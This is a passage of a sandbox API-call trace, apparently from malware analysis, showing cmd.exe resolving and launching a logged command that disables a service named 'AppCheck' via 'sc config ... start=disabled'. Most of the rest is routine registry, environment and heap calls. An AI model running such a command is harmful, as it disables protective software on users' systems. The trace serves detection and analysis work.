lpData=0x3de6a8*=0x40, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x1, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.899] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, lpData=0x3de6a8*=0x1, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.900] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x0, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.900] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x9, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.900] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x4, lpData=0x3de6a8*=0x9, lpcbData=0x3de6a0*=0x4) returned 0x0 [0079.900] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de6a4, lpData=0x3de6a8, lpcbData=0x3de6a0*=0x1000 | out: lpType=0x3de6a4*=0x0, lpData=0x3de6a8*=0x9, lpcbData=0x3de6a0*=0x1000) returned 0x2 [0079.900] RegCloseKey (hKey=0x68) returned 0x0 [0079.900] time (in: timer=0x0 | out: timer=0x0) returned 0x5eb18bf2 [0079.900] srand (_Seed=0x5eb18bf2) [0079.900] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0079.900] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C sc config \"AppCheck\" start=disabled" [0079.902] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a885260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.902] GetProcessHeap () returned 0x720000 [0079.902] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x210) returned 0x732058 [0079.902] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x732060, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0079.904] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0079.904] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0079.904] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.904] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0079.904] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0079.904] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0079.904] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0079.904] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0079.904] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0079.904] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0079.904] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0079.904] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0079.904] GetProcessHeap () returned 0x720000 [0079.904] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x732b30 | out: hHeap=0x720000) returned 1 [0079.904] GetEnvironmentStringsW () returned 0x732270* [0079.905] GetProcessHeap () returned 0x720000 [0079.905] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xae2) returned 0x734bd0 [0079.905] FreeEnvironmentStringsW (penv=0x732270) returned 1 [0079.905] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.905] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0079.905] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0079.905] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0079.905] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0079.905] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0079.905] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0079.905] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0079.905] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0079.905] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0079.905] GetProcessHeap () returned 0x720000 [0079.906] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x54) returned 0x7356c0 [0079.906] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3df468 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3df468, lpFilePart=0x3df464 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3df464*="Desktop") returned 0x25 [0079.906] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.906] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3df1e4 | out: lpFindFileData=0x3df1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x731ed8 [0079.906] FindClose (in: hFindFile=0x731ed8 | out: hFindFile=0x731ed8) returned 1 [0079.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3df1e4 | out: lpFindFileData=0x3df1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x731ed8 [0079.907] FindClose (in: hFindFile=0x731ed8 | out: hFindFile=0x731ed8) returned 1 [0079.907] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0079.907] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3df1e4 | out: lpFindFileData=0x3df1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3c74be00, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3c74be00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x731ed8 [0079.907] FindClose (in: hFindFile=0x731ed8 | out: hFindFile=0x731ed8) returned 1 [0079.907] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.907] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0079.907] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0079.908] GetProcessHeap () returned 0x720000 [0079.908] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x734bd0 | out: hHeap=0x720000) returned 1 [0079.908] GetEnvironmentStringsW () returned 0x7340e0* [0079.908] GetProcessHeap () returned 0x720000 [0079.908] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xb36) returned 0x735f20 [0080.049] FreeEnvironmentStringsW (penv=0x7340e0) returned 1 [0080.049] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a885260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0080.049] GetProcessHeap () returned 0x720000 [0080.049] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7356c0 | out: hHeap=0x720000) returned 1 [0080.049] GetProcessHeap () returned 0x720000 [0080.049] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x400e) returned 0x736a60 [0080.050] GetProcessHeap () returned 0x720000 [0080.050] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x54) returned 0x732db0 [0080.050] GetProcessHeap () returned 0x720000 [0080.050] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736a60 | out: hHeap=0x720000) returned 1 [0080.050] GetConsoleOutputCP () returned 0x1b5 [0080.051] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a884260 | out: lpCPInfo=0x4a884260) returned 1 [0080.051] GetUserDefaultLCID () returned 0x409 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a884950, cchData=8 | out: lpLCData=":") returned 2 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3df5a8, cchData=128 | out: lpLCData="0") returned 2 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3df5a8, cchData=128 | out: lpLCData="0") returned 2 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3df5a8, cchData=128 | out: lpLCData="1") returned 2 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a884940, cchData=8 | out: lpLCData="/") returned 2 [0080.052] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a884d80, cchData=32 | out: lpLCData="Mon") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a884d40, cchData=32 | out: lpLCData="Tue") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a884d00, cchData=32 | out: lpLCData="Wed") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a884cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a884c80, cchData=32 | out: lpLCData="Fri") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a884c40, cchData=32 | out: lpLCData="Sat") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a884c00, cchData=32 | out: lpLCData="Sun") returned 4 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a884930, cchData=8 | out: lpLCData=".") returned 2 [0080.053] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a884920, cchData=8 | out: lpLCData=",") returned 2 [0080.053] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0080.055] GetProcessHeap () returned 0x720000 [0080.055] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20c) returned 0x732e10 [0080.055] GetConsoleTitleW (in: lpConsoleTitle=0x732e10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.055] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0080.055] GetProcAddress (hModule=0x76d30000, lpProcName="CopyFileExW") returned 0x76d63b92 [0080.056] GetProcAddress (hModule=0x76d30000, lpProcName="IsDebuggerPresent") returned 0x76d44a5d [0080.056] GetProcAddress (hModule=0x76d30000, lpProcName="SetConsoleInputExeNameW") returned 0x76d5a79d [0080.056] GetProcessHeap () returned 0x720000 [0080.056] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x400a) returned 0x736a60 [0080.056] GetProcessHeap () returned 0x720000 [0080.056] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x736a60 | out: hHeap=0x720000) returned 1 [0080.057] _wcsicmp (_String1="sc", _String2=")") returned 74 [0080.057] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0080.057] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0080.057] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0080.057] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0080.057] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0080.057] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0080.057] GetProcessHeap () returned 0x720000 [0080.057] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x58) returned 0x733028 [0080.057] GetProcessHeap () returned 0x720000 [0080.057] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xe) returned 0x72ff30 [0080.059] GetProcessHeap () returned 0x720000 [0080.059] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x4c) returned 0x733088 [0080.060] GetConsoleTitleW (in: lpConsoleTitle=0x3df2a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.061] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0080.061] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0080.061] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0080.061] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0080.061] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0080.061] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0080.061] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0080.061] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0080.061] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0080.061] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0080.061] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0080.061] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0080.061] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0080.061] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0080.061] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0080.062] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0080.062] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0080.062] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0080.062] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0080.062] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0080.062] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0080.062] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0080.062] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0080.062] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0080.062] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0080.062] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0080.062] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0080.062] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0080.062] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0080.062] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0080.062] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0080.062] _wcsicmp (_String1="sc", _String2="START") returned -17 [0080.062] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0080.062] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0080.062] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0080.062] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0080.062] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0080.062] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0080.062] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0080.063] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0080.063] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0080.063] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0080.063] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0080.063] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0080.063] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0080.063] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0080.063] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0080.063] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0080.063] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0080.063] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0080.063] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0080.063] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0080.063] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0080.063] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0080.063] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0080.063] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0080.063] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0080.063] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0080.064] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0080.064] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0080.064] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0080.064] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0080.064] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0080.064] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0080.064] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0080.064] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0080.064] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0080.064] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0080.064] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0080.064] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0080.064] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0080.064] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0080.064] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0080.064] _wcsicmp (_String1="sc", _String2="START") returned -17 [0080.064] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0080.064] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0080.064] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0080.064] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0080.064] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0080.064] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0080.065] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0080.065] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0080.065] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0080.065] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0080.065] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0080.065] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0080.065] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0080.065] GetProcessHeap () returned 0x720000 [0080.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x210) returned 0x7330e0 [0080.065] GetProcessHeap () returned 0x720000 [0080.065] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x52) returned 0x7332f8 [0080.065] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0080.066] GetProcessHeap () returned 0x720000 [0080.066] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x418) returned 0x7207f0 [0080.066] SetErrorMode (uMode=0x0) returned 0x0 [0080.066] SetErrorMode (uMode=0x1) returned 0x0 [0080.066] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7207f8, lpFilePart=0x3dedc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3dedc0*="Desktop") returned 0x25 [0080.066] SetErrorMode (uMode=0x0) returned 0x1 [0080.066] GetProcessHeap () returned 0x720000 [0080.066] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x7207f0, Size=0x5a) returned 0x7207f0 [0080.066] GetProcessHeap () returned 0x720000 [0080.066] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x7207f0) returned 0x5a [0080.067] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0080.067] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0080.067] GetProcessHeap () returned 0x720000 [0080.067] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x120) returned 0x733358 [0080.067] GetProcessHeap () returned 0x720000 [0080.067] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x238) returned 0x720858 [0080.108] GetProcessHeap () returned 0x720000 [0080.108] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x720858, Size=0x122) returned 0x720858 [0080.108] GetProcessHeap () returned 0x720000 [0080.108] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x720858) returned 0x122 [0080.108] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a890640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0080.108] GetProcessHeap () returned 0x720000 [0080.108] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0xe0) returned 0x733480 [0080.110] GetProcessHeap () returned 0x720000 [0080.110] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x733480, Size=0x76) returned 0x733480 [0080.110] GetProcessHeap () returned 0x720000 [0080.110] RtlSizeHeap (HeapHandle=0x720000, Flags=0x0, MemoryPointer=0x733480) returned 0x76 [0080.502] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.502] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x3deb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb3c) returned 0xffffffff [0080.502] GetLastError () returned 0x2 [0080.502] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x3deb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb3c) returned 0xffffffff [0080.503] GetLastError () returned 0x2 [0080.503] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0080.503] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x3deb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb3c) returned 0x733500 [0080.503] GetProcessHeap () returned 0x720000 [0080.503] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x14) returned 0x733540 [0080.503] FindClose (in: hFindFile=0x733500 | out: hFindFile=0x733500) returned 1 [0080.503] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x3deb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb3c) returned 0xffffffff [0080.503] GetLastError () returned 0x2 [0080.503] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x3deb3c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb3c) returned 0x733500 [0080.504] GetProcessHeap () returned 0x720000 [0080.504] RtlReAllocateHeap (Heap=0x720000, Flags=0x0, Ptr=0x733540, Size=0x4) returned 0x733540 [0080.504] FindClose (in: hFindFile=0x733500 | out: hFindFile=0x733500) returned 1 [0080.504] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0080.504] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0080.504] GetConsoleTitleW (in: lpConsoleTitle=0x3df034, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0080.504] InitializeProcThreadAttributeList (in: lpAttributeList=0x3deebc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3def84 | out: lpAttributeList=0x3deebc, lpSize=0x3def84) returned 1 [0080.504] UpdateProcThreadAttribute (in: lpAttributeList=0x3deebc, dwFlags=0x0, Attribute=0x60001, lpValue=0x3def7c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3deebc, lpPreviousValue=0x0) returned 1 [0080.504] GetStartupInfoW (in: lpStartupInfo=0x3dee78 | out: lpStartupInfo=0x3dee78*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0080.505] GetProcessHeap () returned 0x720000 [0080.505] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x8, Size=0x18) returned 0x733500 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0080.505] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0080.506] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) 